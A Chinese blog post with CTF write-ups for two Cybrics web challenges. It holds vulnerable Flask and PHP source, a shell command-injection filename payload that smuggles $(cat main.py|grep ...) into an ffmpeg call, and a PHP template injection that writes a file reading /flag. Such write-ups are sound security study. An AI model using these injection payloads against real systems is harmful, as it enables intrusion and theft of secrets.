抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

Cybrics比赛感觉都没队友在打……简单记录下做的几道题

Hunt

签到不谈。

Gif2png

首先是源码审计.

import logging
import re
import subprocess
import uuid
from pathlib import Path

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype


ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    logging.debug(request.headers)

    if request.method == 'POST':
        if 'file' not in request.files:
            logging.debug('No file part')
            flash('No file part', 'danger')
            return redirect(request.url)

        file = request.files['file']
        if file.filename == '':
            logging.debug('No selected file')
            flash('No selected file', 'danger')
            return redirect(request.url)

        if not allowed_file(file.filename):
            logging.debug(f'Invalid file extension of file: {file.filename}')
            flash('Invalid file extension', 'danger')
            return redirect(request.url)

        if file.content_type != "image/gif":
            logging.debug(f'Invalid Content type: {file.content_type}')
            flash('Content type is not "image/gif"', 'danger')
            return redirect(request.url)

        if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
            logging.debug(f'Invalid symbols in filename: {file.content_type}')
            flash('Invalid filename', 'danger')
            return redirect(request.url)

        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

            mime_type = filetype.guess_mime(f'uploads/{file.filename}')
            if mime_type != "image/gif":
                logging.debug(f'Invalid Mime type: {mime_type}')
                flash('Mime type is not "image/gif"', 'danger')
                return redirect(request.url)

            uid = str(uuid.uuid4())
            os.mkdir(f"uploads/{uid}")

            logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")

            command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
            command.wait(timeout=15)
            logging.debug(command.stdout)

            flash('Successfully saved', 'success')
            return redirect(url_for('result', uid=uid))

    return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
    images = []
    for image in os.listdir(f"uploads/{uid}"):
        mime_type = filetype.guess(str(Path("uploads") / uid / image))
        if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
            images.append(image)

    return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
    logging.debug(request.headers)
    dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
    print(dir)
    return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
    return "File is too large", 413


if __name__ == "__main__":
    app.run(host='localhost', port=5000, debug=False, threaded=True)

注意到执行ffmpeg有个变量拼接。我们的file.filename可控。不过需要经过前面几层检验。简单看可以发现一方面限制了
后缀(取最后一个. 后字符检测是否为gif)另外限制了可用字符。不过这些字符已经够用了。

首先我的思路是去找ffmpeg的可用flag.通过-h列出一些flag后。我注意到这样几个

-report             generate a report
-filter_script filename  read stream filtergraph description from a file
-metadata string=string  add metadata

这里我主要是寻找跟文件有关的选项。其中report会在当前目录生成一个log文件。filter_script可以读取一个文件内容作为stream filter. -metadata 可以添加一组键值。加入到输出的metadata中。

不过本地跑起来简单尝试下后。会发现因为我们不可用/字符。所以想要控制路径是做不到的。我们必须要让包含flag的信息输出到uploads的沙盒下。而注意到题目/uploads/{uid}/下的内容并没有像其他两个路由那样做文件类型检查。所以我们是可以直接访问的。

因此-report无法使用。因为它只能在当前目录生成报告。而-filter_script假如搭配-report倒是可以把读取文件内容时的错误信息输出到日志中。但是因为日志读不了所以也不可行。

于是我关注点就集中到了-metadata上。我们可以构造这样的命令闭合引号并且执行。

ffmpeg -i 'uploads/logo.gif' -metadata language=$(cat main.py| grep ffLaG |base64)  -metadata abc='.gif' "uploads/{uid}/%03d.png"

从输出结果上看是成功执行命令了的。但是本地测试发现一个问题。输出的png读不到其metadata属性。

简单的查阅了下文档以及谷歌后我推测应该是因为ffmpeg的metadata选项不支持png.不过文档里我发现视频文件是肯定可以修改增加metadata的。因此当我尝试将上面的命令改为输出成avi后。是可以通过exiftool读取到metadata中的language的。

那么我们现在只需要一个强迫转换输出类型的flag. 再次查文档发现了-f fmt force format
所以最终payload如下。我们只需在传好logo.gif后传gif文件并以如下作为文件名

logo.gif' -metadata language=$(cat main.py| grep ffLaG |base64) -f avi  -metadata abc='.gif

首先我们保证了结尾最后的.末尾是gif绕过后缀检查。之后执行命令时将会把main.py中的ffLaG变量值保存到输出的language metadata中。本地跑起来的话。会发现在沙盒下最终生成了名为%03d.png的avi类型文件。并且可以用exiftool获取到其metadata。

本地打通的话去远程打肯定就没问题了。这里打远程时稍微多发了几次包。最终获取到图片并得到flag

看着这个flag我高度怀疑自己不是预期做的……搞不好可以很简单解决掉。

ps:
佛了。不会就我去看ffmpeg的flags了吧……虽然做法很有趣但是未免太傻了……别人的payload:
'$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gif
wtcltcl。忘记用pwd拼接目录了。bash script都白写了。

woc

这道题目最主要的就是用代码混淆视线。所以关键在于一定要找到真正可以利用的漏洞代码。
首先注意到一个似乎可以利用的地方。在calc.php

<?php
if (!@$_SESSION['userid']) {
    redir(".");
} elseif (!@$_GET['template']) {
    redir(".");
}

$userid = $_SESSION['userid'];
$template = $_GET['template'];

if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
    redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
    redir(".");
}

if (trim(@$_POST['field'])) {
    $field = trim($_POST['field']);

    if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
        $value = "BAD";
    } else {
        if (@$_POST['share']) {
            $calc = uuid();
            file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
            redir("?p=sharelink&calc=$calc");
        } else {
            try {
                $value = eval("return $field;");
            } catch (Throwable $e) {
                $value = null;
            }

            if (!is_numeric($value) && !is_string($value)) {
                $value = "ERROR";
            } else {
                $value = (string)$value;
            }
        }
    }

    echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";

第一想法肯定是利用那个eval.不过这里字符实在是太限制了。我很快就发现根本无法构造出INF,NAN以外等等字符并取单。因此得尝试变化思路。

注意到题目功能。整体上提供了一个假注册登录功能用来记录session.同时允许我们上传新template.我们可以根据calc.php中所传template参数选择template。前往newtemplate.php。发现其限制了我们template的代码中不能含有<?且必须包含它要求的id标签。

<?php
if (!@$_SESSION['userid']) {
    redir(".");
}

$userid = $_SESSION['userid'];

$error = false;

if (trim(@$_POST['html'])) {
    do {
        $html = trim($_POST['html']);
        if (strpos($html, '<?') !== false) {
            $error = "Bad chars";
            break;
        }

        $requiredBlocks = [
            'id="back"',
            'id="field" name="field"',
            'id="digit0"',
            'id="digit1"',
            'id="digit2"',
            'id="digit3"',
            'id="digit4"',
            'id="digit5"',
            'id="digit6"',
            'id="digit7"',
            'id="digit8"',
            'id="digit9"',
            'id="plus"',
            'id="equals"',
        ];

        foreach ($requiredBlocks as $block) {
            if (strpos($html, $block) === false) {
                $error = "Missing required block: '$block'";
                break(2);
            }
        }

        $uuid = uuid();
        if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
            $error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
            break;
        }

        redir(".");
    } while (false);
}
?>
      <div class="row">
        <div class="p-5 mx-auto col-10 col-md-10 bg-info">
<?php
if ($error) {
?>
          <div class="alert alert-danger" role="alert">
            <button type="button" class="close" data-dismiss="alert">×</button>
            <h4 class="alert-heading">Error</h4>
            <p class="mb-0"><?=htmlspecialchars($error)?></p>
          </div>
<?php
}
?>
          <h3 class="display-3">New template</h3>
          <div class="px-4 order-1 order-md-2 col-lg-12">
            <h2 class="mb-4">Insert code</h2>
            <form method="POST">
              <div class="form-group"> <textarea style="min-height: 100px; font-family: 'Fira Code', Consolas, monospace;" placeholder="HTML" class="form-control form-control-sm" name="html" oninput="this.style.height = ''; this.style.height = (this.scrollHeight + 10) +'px'"><?=htmlspecialchars(@$_POST['html'])?></textarea> </div> <button type="submit" class="btn btn-lg btn-outline-secondary mx-3 px-3"><i class="fa fa-plus-square fa-fw fa-1x py-1"></i> Create Template</button>
            </form>
          </div>
        </div>
      </div>

然后我们发现。calc.php如果不传递share参数的话。将只是简单的require我们的template.但是倘若传递share.则将进行一个拼接。

if (@$_POST['share']) {
    $calc = uuid();
    file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
    redir("?p=sharelink&calc=$calc");
}

我们的变量field与之后的inc/calclib.html,以及自己的template进行拼接。当内容作为file_put_contents的参数写进新的php文件时。<?=总是可用的(即作为echo 调用)那么我们只需要想办法解决掉中间拼接的文件inc/calclib.html即可。通过使用注释符将两者中间的html文件注释掉,并在template中写入恶意代码就能完成


本地模拟写入的文件。可以看到中间的部分被注释掉。我们只需注意正确闭合括号。
payload
html内容

<html>
<body>
<input type="text" class="part" id="field" name="field" />
<input type="button" class="part" id="digit0" data-append="0" />
<input type="button" class="part" id="digit1" data-append="1" />
<input type="button" class="part" id="digit2" data-append="2" />
<input type="button" class="part" id="digit3" data-append="3" />
<input type="button" class="part" id="digit4" data-append="4" />
<input type="button" class="part" id="digit5" data-append="5" />
<input type="button" class="part" id="digit6" data-append="6" />
<input type="button" class="part" id="digit7" data-append="7" />
<input type="button" class="part" id="digit8" data-append="8" />
<input type="button" class="part" id="digit9" data-append="9" />
<input type="button" class="part" id="plus" data-append=" + " />
<input type="button" class="part" id="minus" data-append=" - " />
<input type="button" class="part" id="times" data-append=" * " />
<input type="button" class="part" id="div" data-append=" / " />
<input type="button" class="part" id="point" data-append="." />
<input type="button" class="part" id="clear" />
<input type="button" class="part" id="back" value="← Back" />
<input type="submit" class="part" id="share" name="share" value="Share" />
<input type="submit" class="part" id="equals" />
*/readfile("/flag")));

之后来到calc.php传值field=/*&share=1即可在重定向后得到写入shell的地址。
远程getflag

summary

题目比较有意思。体验不错。在这之前的一场3kCTF因为时间原因写不了wp了,题目质量倒是挺好的。下周开始hw就不更文章

评论